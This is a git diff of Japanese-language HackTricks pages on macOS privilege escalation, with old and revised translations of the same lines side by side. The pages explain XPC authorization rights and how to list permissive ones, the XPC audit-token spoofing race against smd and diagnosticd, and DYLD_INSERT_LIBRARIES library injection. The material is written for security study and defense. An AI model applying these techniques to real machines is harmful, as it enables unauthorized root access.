`Common/Common.m``setupAuthorizationRights`関数は、アプリケーションの権限を`/var/db/auth.db`の認証データベースに保存します。データベースにまだ存在しない権限のみが追加されることに注意してください。
```objectivec
+ (void)setupAuthorizationRights:(AuthorizationRef)authRef
// See comment in header.
@ -94,7 +94,7 @@ assert(blockErr == errAuthorizationSuccess);
}];
}
```
`enumerateRightsUsingBlock` 関数は、`commandInfo` に定義されたアプリケーションの権限を取得するために使用されます。
関数 `enumerateRightsUsingBlock` は、`commandInfo` に定義されたアプリケーションの権限を取得するために使用されます。
```objectivec
static NSString * kCommandKeyAuthRightName = @"authRightName";
static NSString * kCommandKeyAuthRightDefault = @"authRightDefault";
@ -172,15 +172,15 @@ block(authRightName, authRightDefault, authRightDesc);
}];
}
```
このプロセスの最後に、`commandInfo`内で宣言された権限`/var/db/auth.db`に保存されます。ここでは、**各メソッド**が**認証を必要とする**こと、**権限名**、および**`kCommandKeyAuthRightDefault`**が見つかります。後者は**誰がこの権利を取得できるか**を示します。
このプロセスの最後に`commandInfo`内で宣言された権限`/var/db/auth.db`に保存されることを意味します。ここでは、**各メソッド**が**認証を必要とする**こと、**権限名**、および**`kCommandKeyAuthRightDefault`**が見つかります。後者は**誰がこの権利を取得できるか**を示します。
権利にアクセスできる人を示すための異なるスコープがあります。それらのいくつかは[AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity_authorization/lib/AuthorizationDB.h)で定義されています([ここにすべてあります](https://www.dssw.co.uk/reference/authorization-rights/)が、要約すると:
権利にアクセスできる人を示すための異なるスコープがあります。それらのいくつかは[AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity_authorization/lib/AuthorizationDB.h)で定義されています([ここで全てを見つけることができます](https://www.dssw.co.uk/reference/authorization-rights/))。要約すると:
<table><thead><tr><th width="284.3333333333333">名前</th><th width="165"></th><th>説明</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>allow</td><td>誰でも</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>deny</td><td>誰も</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>現在のユーザーは管理者である必要があります(管理者グループ内)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>ユーザーに認証を求めます。</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>ユーザーに認証を求めます。彼は管理者である必要があります(管理者グループ内)</td></tr><tr><td>kAuthorizationRightRule</td><td>rule</td><td>ルールを指定します</td></tr><tr><td>kAuthorizationComment</td><td>comment</td><td>権利に関する追加のコメントを指定します</td></tr></tbody></table>
### 権利の検証
`HelperTool/HelperTool.m`の関数**`readLicenseKeyAuthorization`**は、呼び出し元が**そのメソッドを実行する**権限があるかどうかを確認するために、関数**`checkAuthorization`**を呼び出します。この関数は、呼び出しプロセスによって送信された**authData**が**正しい形式**であるかどうかを確認し、その後、特定のメソッドを呼び出すために**必要なもの**を確認します。すべてがうまくいけば、**返された`error``nil`になります**
`HelperTool/HelperTool.m`の関数**`readLicenseKeyAuthorization`**は、呼び出し元が**そのメソッドを実行する**権限があるかどうかを確認するために、関数**`checkAuthorization`**を呼び出します。この関数は、呼び出しプロセスから送信された**authData**が**正しい形式**であるかどうかを確認し、その後、特定のメソッドを呼び出すために**必要なもの**を確認します。すべてがうまくいけば、**返された`error``nil`になります**
```objectivec
- (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
{
@ -228,13 +228,13 @@ assert(junk == errAuthorizationSuccess);
return error;
}
```
注意すべきは、**そのメソッドを呼び出す権利を確認するために**、関数 `authorizationRightForCommand` は以前のコメントオブジェクト **`commandInfo`** をチェックするだけです。次に、**`AuthorizationCopyRights`** を呼び出して、関数を呼び出す**権利があるかどうか**を確認します(フラグはユーザーとの対話を許可することに注意してください)。
注意してください、**そのメソッドを呼び出す権利を得るための要件を確認するには**、関数 `authorizationRightForCommand` は以前のコメントオブジェクト **`commandInfo`** をチェックします。次に、**`AuthorizationCopyRights`** を呼び出して **その関数を呼び出す権利があるかどうか** を確認します(フラグはユーザーとの対話を許可することに注意してください)。
この場合、関数 `readLicenseKeyAuthorization` を呼び出すために、`kCommandKeyAuthRightDefault``@kAuthorizationRuleClassAllow` に定義されています。したがって、**誰でも呼び出すことができます**。
### DB 情報
この情報は `/var/db/auth.db` に保存されていると述べられました。保存されているすべてのルールをリストするには、次のコマンドを使用します:
この情報は `/var/db/auth.db` に保存されていると述べられています。保存されたすべてのルールをリストするには、次のようにします:
```sql
sudo sqlite3 /var/db/auth.db
SELECT name FROM rules;
@ -244,21 +244,21 @@ SELECT name FROM rules WHERE name LIKE '%safari%';
```bash
security authorizationdb read com.apple.safaridriver.allow
```
### 許可権限
### Permissive rights
**すべての権限設定** [**こちら**](https://www.dssw.co.uk/reference/authorization-rights/) で見つけることができますが、ユーザーの操作を必要としない組み合わせは次のとおりです。
**すべての権限設定** [**はここにあります**](https://www.dssw.co.uk/reference/authorization-rights/)、ただし、ユーザーの操作を必要としない組み合わせは次のとおりです。
1. **'authenticate-user': 'false'**
- これは最も直接的なキーです。`false`に設定されている場合、ユーザーがこの権利を得るために認証を提供する必要がないことを指定します。
- これは、以下の2つのいずれかと組み合わせて使用するか、ユーザーが属する必要があるグループを示すために使用されます。
- これは、以下の2つのいずれかと組み合わせて使用されるか、ユーザーが属する必要があるグループを示します。
2. **'allow-root': 'true'**
- ユーザーがルートユーザー(昇格された権限を持つ)として操作している場合、このキーが`true`に設定されていると、ルートユーザーは追加の認証なしにこの権利を得る可能性があります。ただし、通常、ルートユーザーの状態に到達するにはすでに認証が必要であるため、これはほとんどのユーザーにとって「認証なし」のシナリオではありません。
3. **'session-owner': 'true'**
- `true`に設定されている場合、セッションの所有者(現在ログインしているユーザー)は自動的にこの権利を得ます。ユーザーがすでにログインしている場合、追加の認証をバイパスする可能性があります。
4. **'shared': 'true'**
- このキーは、認証なしに権利を付与するものではありません。代わりに、`true`に設定されている場合、権利が認証された後は、各プロセスが再認証を必要とせずに複数のプロセス間で共有できることを意味します。しかし、権利の最初の付与は、`'authenticate-user': 'false'`のような他のキーと組み合わせない限り、認証を必要とします。
- このキーは、認証なしに権利を付与ません。代わりに、`true`に設定されている場合、権利が認証された後は、各プロセスが再認証を必要とせずに複数のプロセス間で共有できることを意味します。ただし、権利の最初の付与は、`'authenticate-user': 'false'`のような他のキーと組み合わせない限り、認証を必要とします。
興味深い権利を取得するために、[**このスクリプト**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9)を使用できます。
[**このスクリプトを使用**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9)して、興味深い権利を取得できます:
```bash
Rights with 'authenticate-user': 'false':
is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root)
@ -289,7 +289,7 @@ authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-se
<figure><img src="../../../../../images/image (44).png" alt=""><figcaption></figcaption></figure>
この場合、EvenBetterAuthorizationSampleと同じものがあり、[**この行を確認してください**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94)。
この場合、EvenBetterAuthorizationSampleと同じあり、[**この行を確認してください**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94)
使用されているプロトコルの名前が分かれば、**そのヘッダー定義をダンプする**ことが可能です:
```bash
@ -324,9 +324,9 @@ cat /Library/LaunchDaemons/com.example.HelperTool.plist
</dict>
[...]
```
### エクスプロイトの例
### Exploit Example
この例では次のものが作成されます:
この例では次のものが作成されます:
- 関数を持つプロトコルの定義
- アクセスを要求するために使用する空の認証

View File

@ -4,33 +4,33 @@
## XPC 接続プロセスチェック
XPCサービスへの接続が確立されると、サーバーは接続が許可されているかどうかを確認します。通常、以下のチェックが行われます
XPC サービスへの接続が確立されると、サーバーは接続が許可されているかどうかを確認します。通常、以下のチェックが行われます:
1. 接続している**プロセスがApple署名の**証明書で署名されているか確認しますAppleからのみ発行されます)。
- これが**確認されない場合**、攻撃者は**偽の証明書**を作成して他のチェックに一致させることができます。
2. 接続しているプロセスが**組織の証明書**で署名されているか確認しますチームIDの確認
- これが**確認されない場合**、Appleの**任意の開発者証明書**が署名に使用され、サービスに接続できます。
3. 接続しているプロセスが**適切なバンドルID**を含んでいるか確認します。
- これが**確認されない場合**、同じ組織によって**署名された任意のツール**がXPCサービスと対話するために使用される可能性があります。
4. (4または5) 接続しているプロセスが**適切なソフトウェアバージョン番号**を持っているか確認します。
- これが**確認されない場合**、古い、脆弱なクライアントがプロセスインジェクションに対して脆弱であり、他のチェックが行われていてもXPCサービスに接続される可能性があります。
5. (4または5) 接続しているプロセスが危険な権限のない**ハードンされたランタイム**を持っているか確認します任意のライブラリを読み込むことを許可するものやDYLD環境変数を使用するものなど
1. これが**確認されない場合**、クライアントは**コードインジェクションに対して脆弱**である可能性があります。
6. 接続しているプロセスがサービスに接続することを許可する**権限**を持っているか確認します。これはAppleのバイナリに適用されます。
7. **検証**は接続している**クライアントの監査トークン**に**基づく**べきであり、そのプロセスID**PID**)ではなく、前者は**PID再利用攻撃**を防ぎます。
- 開発者は**監査トークン**API呼び出しを**ほとんど使用しない**ため、これは**プライベート**であり、Appleはいつでも**変更**できる可能性があります。さらに、プライベートAPIの使用はMac App Storeアプリでは許可されていません。
- メソッド**`processIdentifier`**が使用される場合、脆弱である可能性があります。
- **`xpc_dictionary_get_audit_token`**は**`xpc_connection_get_audit_token`**の代わりに使用されるべきであり、後者は特定の状況で[脆弱である可能性があります](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)。
1. 接続している **プロセスが Apple に署名された** 証明書で署名されているか確認しますApple のみが発行)。
- こ**確認が行われない場合、** 攻撃者は **偽の証明書** を作成して他のチェックに合致させることができます。
2. 接続しているプロセスが **組織の証明書** で署名されているか確認します(チーム ID の確認)。
- こ**確認が行われない場合、** Apple の **任意の開発者証明書** を使用して署名し、サービスに接続できます。
3. 接続しているプロセスが **適切なバンドル ID** を含んでいるか確認します。
- こ**確認が行われない場合、** 同じ組織に署名された任意のツールが XPC サービスと対話するために使用される可能性があります。
4. (4 または 5) 接続しているプロセスが **適切なソフトウェアバージョン番号** を持っているか確認します。
- こ**確認が行われない場合、** 古い、脆弱なクライアントがプロセスインジェクションに対して脆弱であり、他のチェックが行われていても XPC サービスに接続される可能性があります。
5. (4 または 5) 接続しているプロセスが危険な権限のない **ハードされたランタイム** を持っているか確認します(任意のライブラリを読み込むことを許可するものや DYLD 環境変数を使用するものなど)。
1. こ**確認が行われない場合、** クライアントは **コードインジェクションに対して脆弱** である可能性があります。
6. 接続しているプロセスがサービスに接続することを許可する **権限** を持っているか確認します。これは Apple のバイナリに適用されます。
7. **検証** は接続している **クライアントの監査トークン****基づく** 必要があり、プロセス ID (**PID**) ではなく、前者は **PID 再利用攻撃** を防ぎます。
- 開発者は **監査トークン** API 呼び出しを **ほとんど使用しない** ため、これは **プライベート** であり、Apple はいつでも **変更** できる可能性があります。さらに、プライベート API の使用は Mac App Store アプリでは許可されていません。
- メソッド **`processIdentifier`** が使用される場合、脆弱である可能性があります。
- **`xpc_dictionary_get_audit_token`****`xpc_connection_get_audit_token`** の代わりに使用するべきであり、後者は特定の状況で [脆弱である可能性があります](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)。
### コミュニケーション攻撃
PID再利用攻撃に関する詳細は以下を確認してください:
PID 再利用攻撃の詳細については、以下を確認してください:
{{#ref}}
macos-pid-reuse.md
{{#endref}}
**`xpc_connection_get_audit_token`**攻撃に関する詳細は以下を確認してください:
**`xpc_connection_get_audit_token`** 攻撃の詳細については、以下を確認してください:
{{#ref}}
macos-xpc_connection_get_audit_token-attack.md
@ -38,18 +38,18 @@ macos-xpc_connection_get_audit_token-attack.md
### Trustcache - ダウングレード攻撃防止
TrustcacheはApple Siliconマシンに導入された防御方法で、AppleのバイナリのCDHSAHのデータベースを保存し、許可された非修正バイナリのみが実行されるようにします。これにより、ダウングレードバージョンの実行が防止されます。
Trustcache は、Apple Silicon マシンで導入された防御的手法で、Apple バイナリの CDHSAH のデータベースを保存し、許可された非修正バイナリのみが実行されるようにします。これにより、ダウングレードバージョンの実行が防止されます。
### コード例
サーバーはこの**検証**を**`shouldAcceptNewConnection`**という関数で実装します。
サーバーはこの **検証** **`shouldAcceptNewConnection`** という関数で実装します。
```objectivec
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
//Check connection
return YES;
}
```
オブジェクト NSXPCConnection には **private** プロパティ **`auditToken`** (使用すべきだが変更される可能性があるもの)と **public** プロパティ **`processIdentifier`** (使用すべきでないもの)があります。
オブジェクト NSXPCConnection には **private** プロパティ **`auditToken`** (使用すべきものですが変更される可能性があります)と **public** プロパティ **`processIdentifier`** (使用すべきでないもの)が存在します。
接続プロセスは次のようなもので確認できます:
```objectivec
@ -71,7 +71,7 @@ SecCodeCheckValidity(code, kSecCSDefaultFlags, requirementRef);
SecTaskRef taskRef = SecTaskCreateWithAuditToken(NULL, ((ExtendedNSXPCConnection*)newConnection).auditToken);
SecTaskValidateForRequirement(taskRef, (__bridge CFStringRef)(requirementString))
```
クライアントのバージョンを確認したくない開発者は、少なくともクライアントがプロセスインジェクションに対して脆弱でないことを確認することができます:
もし開発者がクライアントのバージョンを確認したくない場合、少なくともクライアントがプロセスインジェクションに対して脆弱でないことを確認することができます:
```objectivec
[...]
CFDictionaryRef csInfo = NULL;

View File

@ -12,12 +12,12 @@ Mach メッセージが何か知らない場合は、このページを確認し
../../
{{#endref}}
現時点では、([こちらの定義](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing))を覚えておいてください:\
Mach メッセージは _mach ポート_ を介して送信され、これは mach カーネルに組み込まれた **単一受信者、複数送信者通信** チャネルです。**複数のプロセスがメッセージを送信できます**が、いつでも **単一のプロセスのみがそれを読み取ることができます**。ファイルディスクリプタやソケットと同様に、mach ポートはカーネルによって割り当てられ、管理され、プロセスは整数を見て、それを使用してカーネルにどの mach ポートを使用したいかを示します。
現時点では、([こちらからの定義](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\
Mach メッセージは _mach ポート_ を介して送信され、これは mach カーネルに組み込まれた **単一受信者、複数送信者通信** チャネルです。**複数のプロセスがメッセージを送信できます** が、任意の時点で **単一のプロセスのみがそれを読み取ることができます**。ファイルディスクリプタやソケットと同様に、mach ポートはカーネルによって割り当てられ、管理され、プロセスは整数を見て、それを使用してカーネルにどの mach ポートを使用したいかを示します。
## XPC 接続
XPC 接続がどのように確立されるか知らない場合は、確認してください:
XPC 接続がどのように確立されるか知らない場合は、次を確認してください:
{{#ref}}
../
@ -25,48 +25,48 @@ XPC 接続がどのように確立されるか知らない場合は、確認し
## 脆弱性の概要
知っておくべき興味深い点は、**XPC の抽象化は一対一の接続ですが、**複数の送信者を持つ技術の上に構築されているため、以下のようになります
知っておくべき興味深い点は、**XPC の抽象化は一対一の接続である**が、**複数の送信者を持つ技術の上に構築されている**ということです。したがって
- Mach ポートは単一受信者、**複数送信者**です。
- XPC 接続の監査トークンは、**最近受信したメッセージからコピーされた監査トークン**です。
- XPC 接続の **監査トークン** を取得することは、多くの **セキュリティチェック** にとって重要です。
前述の状況は有望に聞こえますが、これが問題を引き起こさないシナリオもいくつかあります[こちらから](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)
前述の状況は有望に聞こえますが、これが問題を引き起こさないシナリオもいくつかあります ([こちらから](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing))
- 監査トークンは、接続を受け入れるかどうかを決定するための認証チェックにしばしば使用されます。これはサービスポートへのメッセージを使用して行われるため、**接続はまだ確立されていません**。このポートへの追加のメッセージは、単に追加の接続要求として処理されます。したがって、接続を受け入れる前の **チェックは脆弱ではありません**(これは `-listener:shouldAcceptNewConnection:` 内で監査トークンが安全であることも意味します)。したがって、私たちは **特定のアクションを検証する XPC 接続を探しています**
- XPC イベントハンドラは同期的に処理されます。これは、1 つのメッセージのイベントハンドラが完了する前に次のメッセージのために呼び出される必要があることを意味します。したがって、**XPC イベントハンドラ内では監査トークンは他の通常の(非応答!)メッセージによって上書きされることはありません**。
- XPC イベントハンドラは同期的に処理されます。これは、1 つのメッセージのイベントハンドラが次のメッセージのために呼び出される前に完了する必要があることを意味します。したがって、**XPC イベントハンドラ内では監査トークンは他の通常の(非応答!)メッセージによって上書きされることはありません**。
この脆弱性を悪用できる 2 つの異なる方法があります:
1. バリアント 1:
- **攻撃**はサービス **A** とサービス **B** に **接続**します。
- **攻撃** はサービス **A** とサービス **B****接続** します。
- サービス **B** は、ユーザーができないサービス A の **特権機能** を呼び出すことができます。
- サービス **A** は、**`dispatch_async`** の **イベントハンドラ内ではなく**、**`xpc_connection_get_audit_token`** を呼び出します
- したがって、**異なる** メッセージが **監査トークンを上書き** する可能性があります。なぜなら、それはイベントハンドラの外で非同期にディスパッチされているからです。
- サービス **A** は、**`dispatch_async`** の **接続のイベントハンドラ内では _**ない_** 状態で `xpc_connection_get_audit_token` を呼び出します**
- したがって、**異なる** メッセージが **監査トークンを上書きする** 可能性があります。なぜなら、それはイベントハンドラの外で非同期にディスパッチされているからです。
- 攻撃は **サービス B にサービス A への送信権を渡します**
- したがって、svc **B** は実際にサービス **A** に **メッセージを送信**します。
- **攻撃**は **特権アクションを呼び出そうとします**。RC で svc **A** はこの **アクションの** 認証を **チェック** し、**svc B が監査トークンを上書きしました**(攻撃に特権アクションを呼び出すアクセスを与えます)。
- したがって、svc **B** は実際にサービス **A****メッセージを送信** します。
- **攻撃** **特権アクションを呼び出そうとします**。RC で svc **A** はこの **アクションの** 認証を **チェック** し、**svc B が監査トークンを上書きしました**(攻撃に特権アクションを呼び出すアクセスを与えます)。
2. バリアント 2:
- サービス **B** は、ユーザーができないサービス A の **特権機能** を呼び出すことができます。
- 攻撃は **サービス A** に接続し、サービス A は攻撃に **応答を期待するメッセージ** を送信します。特定の **応答** **ポート** で。
- 攻撃は **サービス A** に接続し、サービスは攻撃に **特定の応答を期待するメッセージを送信** します。
- 攻撃は **サービス** B に **その応答ポート** を渡すメッセージを送信します。
- サービス **B** が応答すると、サービス A にメッセージを **送信し**、**攻撃** は異なる **メッセージをサービス A に送信し**、特権機能に **到達しようとし**、サービス B からの応答が監査トークンを完璧なタイミングで上書きすることを期待します(競合条件)。
- サービス **B** が応答すると、**サービス A にメッセージを送信し**、**攻撃** はサービス A に異なる **メッセージを送信して特権機能に到達しようとし**、サービス B からの応答が監査トークンを完璧なタイミングで上書きすることを期待します(レースコンディション)。
## バリアント 1: イベントハンドラの外で xpc_connection_get_audit_token を呼び出す <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
シナリオ:
- 接続できる 2 つの mach サービス **`A`** と **`B`**(サンドボックスプロファイルと接続を受け入れる前の認証チェックに基づく)。
- _**A**_ は、**`B`** が渡すことができる特定のアクションの **認証チェック** を持っている必要があります(しかし、私たちのアプリはできません)。
- _**A**_ は、**`B`** が通過できる特定のアクションの **認証チェック** を持っている必要があります(しかし、私たちのアプリはできません)。
- たとえば、B がいくつかの **権限** を持っているか、**root** として実行されている場合、A に特権アクションを実行するように要求できるかもしれません。
- この認証チェックのために、**`A`** は非同期的に監査トークンを取得します。たとえば、**`dispatch_async`** から `xpc_connection_get_audit_token` を呼び出すことによって。
> [!CAUTION]
> この場合、攻撃者は **競合条件** を引き起こし、**A にアクションを実行するように要求する**攻撃を何度もトリガーしながら、**B が `A` にメッセージを送信させる**ことができます。RC が **成功すると**、**B** の **監査トークン** がメモリにコピーされ、**私たちの攻撃** のリクエストが A によって **処理されている間**、特権アクションに **アクセス** できるようになります
> この場合、攻撃者は **レースコンディション** を引き起こし、**A にアクションを実行するように要求する** 攻撃を何度もトリガーしながら **B が `A` にメッセージを送信** させることができます。RC が **成功すると**、**B** の **監査トークン** がメモリにコピーされ、**私たちの攻撃のリクエストが A によって処理されている間に** アクセスを与え、**B のみが要求できる特権アクションにアクセスできるようになります**
これは **`A`** が `smd` として、**`B`** が `diagnosticd` として発生しました。関数 [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) は、新しい特権ヘルパーツールをインストールするために使用できます(**root** として)。**root として実行されているプロセスが** **smd** に接触すると、他のチェックは実行されません。
これは **`A`** が `smd` で、**`B`** が `diagnosticd` の場合に発生しました。関数 [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) は、特権ヘルパーツールを新たにインストールするために使用できます(**root** として)。**root として実行されているプロセスが** **smd** に接触すると、他のチェックは実行されません。
したがって、サービス **B****`diagnosticd`** であり、**root** として実行され、プロセスを **監視** するために使用できます。監視が開始されると、**毎秒複数のメッセージを送信します**。
したがって、サービス **B****`diagnosticd`** であり、**root** として実行され、プロセスを **監視** するために使用されるため、監視が開始されると、**1 秒あたり複数のメッセージを送信します**。
攻撃を実行するには:
@ -76,14 +76,14 @@ XPC 接続がどのように確立されるか知らない場合は、確認し
![攻撃プロセスを示す画像](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png)
4. 次のステップは、`diagnosticd` に選択したプロセス(ユーザー自身のプロセスの可能性があります)の監視を開始するように指示することです。同時に、`smd` に対して通常の 1004 メッセージの洪水が送信されます。ここでの意図は、特権のあるツールをインストールすることです。
5. このアクションは`handle_bless` 関数内で競合条件を引き起こします。タイミングが重要です:`xpc_connection_get_pid` 関数呼び出しは、ユーザーのプロセスの PID を返さなければなりません(特権ツールはユーザーのアプリバンドルに存在します)。ただし、`xpc_connection_get_audit_token` 関数は、特に `connection_is_authorized` サブルーチン内で、`diagnosticd` に属する監査トークンを参照する必要があります。
4. 次のステップは、`diagnosticd` に選択したプロセス(ユーザー自身のプロセスの可能性があります)の監視を開始するように指示することです。同時に、`smd` に対してルーチンの 1004 メッセージの洪水が送信されます。ここでの意図は、特権のあるツールをインストールすることです。
5. このアクションは `handle_bless` 関数内でレースコンディションを引き起こします。タイミングが重要です:`xpc_connection_get_pid` 関数呼び出しは、ユーザーのプロセスの PID を返さなければなりません(特権ツールはユーザーのアプリバンドルに存在します)。ただし、`xpc_connection_get_audit_token` 関数は、特に `connection_is_authorized` サブルーチン内で、`diagnosticd` に属する監査トークンを参照する必要があります。
## バリアント 2: 応答の転送
XPCプロセス間通信環境では、イベントハンドラは同時に実行されませんが、応答メッセージの処理には独自の動作があります。具体的には、応答を期待するメッセージを送信するための 2 つの異なる方法があります:
1. **`xpc_connection_send_message_with_reply`**: ここでは、XPC メッセージが受信され、指定されたキューで処理されます。
1. **`xpc_connection_send_message_with_reply`**: ここでは、XPC メッセージが指定されたキューで受信され、処理されます。
2. **`xpc_connection_send_message_with_reply_sync`**: 逆に、この方法では、XPC メッセージが現在のディスパッチキューで受信され、処理されます。
この区別は重要です。なぜなら、**応答パケットが XPC イベントハンドラの実行と同時に解析される可能性があるからです**。特に、`_xpc_connection_set_creds` は監査トークンの部分的な上書きを防ぐためにロックを実装していますが、接続オブジェクト全体に対してこの保護を拡張していません。したがって、パケットの解析とそのイベントハンドラの実行の間の間隔で監査トークンが置き換えられる脆弱性が生じます。
@ -99,7 +99,7 @@ XPCプロセス間通信環境では、イベントハンドラは同時
1. サービス **`A`** が応答を期待するメッセージを送信するのを待ちます。
2. **`A`** に直接応答するのではなく、応答ポートをハイジャックしてサービス **`B`** にメッセージを送信します。
3. 次に、禁止されたアクションに関するメッセージをディスパッチし、**`B`** からの応答と同時に処理されることを期待します。
3. 次に、禁止されたアクションに関するメッセージが送信され、**`B`** からの応答と同時に処理されることが期待されます。
以下は、説明された攻撃シナリオの視覚的表現です:
@ -111,15 +111,15 @@ XPCプロセス間通信環境では、イベントハンドラは同時
- **インスタンスの特定の困難**: `xpc_connection_get_audit_token` の使用例を静的および動的に検索するのは困難でした。
- **方法論**: Frida を使用して `xpc_connection_get_audit_token` 関数をフックし、イベントハンドラから発信されない呼び出しをフィルタリングしました。ただし、この方法はフックされたプロセスに限定され、アクティブな使用が必要でした。
- **分析ツール**: IDA/Ghidra などのツールを使用して到達可能な mach サービスを調査しましたが、プロセスは時間がかかり、dyld 共有キャッシュに関与する呼び出しによって複雑化しました。
- **スクリプトの制限**: `dispatch_async` ブロックからの `xpc_connection_get_audit_token` への呼び出しの分析をスクリプト化しようとしましたが、ブロックの解析と dyld 共有キャッシュとの相互作用の複雑さによって妨げられました。
- **分析ツール**: IDA/Ghidra のようなツールを使用して到達可能な mach サービスを調査しましたが、プロセスは時間がかかり、dyld 共有キャッシュに関る呼び出しによって複雑化しました。
- **スクリプトの制限**: `dispatch_async` ブロックからの `xpc_connection_get_audit_token` への呼び出しの分析をスクリプト化しようとした試みは、ブロックの解析と dyld 共有キャッシュとの相互作用の複雑さによって妨げられました。
## 修正 <a href="#the-fix" id="the-fix"></a>
- **報告された問題**: `smd` 内で見つかった一般的および特定の問題を詳細に記載した報告が Apple に提出されました。
- **報告された問題**: `smd` 内で見つかった一般的および特定の問題を詳細に記載した報告が Apple に提出されました。
- **Apple の対応**: Apple は `smd` 内の問題に対処し、`xpc_connection_get_audit_token``xpc_dictionary_get_audit_token` に置き換えました。
- **修正の性質**: `xpc_dictionary_get_audit_token` 関数は、受信した XPC メッセージに関連付けられた mach メッセージから直接監査トークンを取得するため、安全と見なされています。ただし、`xpc_connection_get_audit_token` と同様に、公開 API の一部ではありません。
- **より広範な修正の不在**: Apple が接続の保存された監査トークンと一致しないメッセージを破棄するなど、より包括的な修正を実装しなかった理由は不明です。特定のシナリオ(例:`setuid` の使用)での正当な監査トークンの変更の可能性が要因かもしれません。
- **現在の状況**: この問題は iOS 17 と macOS 14 に残っており、それを特定し理解しようとする人々にとって課題となっています。
- **より広範な修正の欠如**: Apple が接続の保存された監査トークンと一致しないメッセージを破棄するなど、より包括的な修正を実装しなかった理由は不明です。特定のシナリオ(例:`setuid` の使用)での正当な監査トークンの変更の可能性が要因かもしれません。
- **現在の状況**: この問題は iOS 17 および macOS 14 にも残っており、これを特定し理解しようとする人々にとって課題となっています。
{{#include ../../../../../../banners/hacktricks-training.md}}

View File

@ -7,7 +7,8 @@
## **Dyldプロセス**
Dyldがバイナリ内でライブラリをどのようにロードするかを確認してください
Dyldがバイナリ内でライブラリをどのようにロードするかを見てみましょう:
{{#ref}}
macos-dyld-process.md
@ -17,27 +18,27 @@ macos-dyld-process.md
これは[**LinuxのLD_PRELOAD**](../../../../linux-hardening/privilege-escalation/index.html#ld_preload)のようなものです。特定のライブラリをパスからロードするために実行されるプロセスを指定することができます(環境変数が有効な場合)。
この技術は、すべてのインストールされたアプリケーションに「Info.plist」と呼ばれるplistがあり、`LSEnvironmental`というキーを使用して**環境変数を割り当てることができるため**、**ASEP技術としても使用される可能性があります**。
この技術は、すべてのインストールされたアプリケーションに「Info.plist」と呼ばれるplistがあり、`LSEnvironmental`というキーを使用して**環境変数を割り当てる**ことができるため、**ASEP技術としても使用される可能性があります**。
> [!NOTE]
> [!TIP]
> 2012年以降、**Appleは`DYLD_INSERT_LIBRARIES`の権限を大幅に制限しました**。
>
> コードを確認し、**`src/dyld.cpp`**をチェックしてください。関数**`pruneEnvironmentVariables`**では、**`DYLD_*`**変数が削除されることがわかります。
>
> 関数**`processRestricted`**では、制限の理由が設定されています。そのコードを確認すると、理由は次のとおりです:
> 関数**`processRestricted`**では、制限の理由が設定されます。そのコードを確認すると、理由は次のとおりです:
>
> - バイナリが`setuid/setgid`である
> - machoバイナリに`__RESTRICT/__restrict`セクションが存在する
> - ソフトウェアが[`com.apple.security.cs.allow-dyld-environment-variables`](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables)権限なしに権限を持っている(ハードンされたランタイム)
> - バイナリの**権限**を確認するには:`codesign -dv --entitlements :- </path/to/bin>`
> - バイナリの**権限**を確認するには:`codesign -dv --entitlements :- </path/to/bin>`
>
> より新しいバージョンでは、このロジックは関数**`configureProcessRestrictions`**の後半に見つけることができます。ただし、新しいバージョンで実行されるのは関数の**最初のチェック**ですiOSやシミュレーションに関連するifを削除できます。これらはmacOSでは使用されません
> より新しいバージョンでは、このロジックは関数**`configureProcessRestrictions`**の後半部分にあります。ただし、新しいバージョンで実行されるのは関数の**最初のチェック**ですiOSやシミュレーションに関連するifを削除できます。これらはmacOSでは使用されません
### ライブラリの検証
バイナリが**`DYLD_INSERT_LIBRARIES`**環境変数の使用を許可していても、バイナリがライブラリの署名をチェックする場合、カスタムライブラリはロードされません。
カスタムライブラリをロードするには、バイナリが次のいずれかの権限を持っている必要があります:
カスタムライブラリをロードするには、バイナリが次の**いずれかの権限**を持っている必要があります:
- [`com.apple.security.cs.disable-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.security.cs.disable-library-validation)
- [`com.apple.private.security.clear-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.private.security.clear-library-validation)
@ -48,7 +49,7 @@ macos-dyld-process.md
バイナリと同じ証明書で**署名されたライブラリ**をロードすることもできます。
この方法を(悪用)する方法と制限を確認するには:
この方法を(悪用)する例を見つけ、制限を確認するには:
{{#ref}}
macos-dyld-hijacking-and-dyld_insert_libraries.md
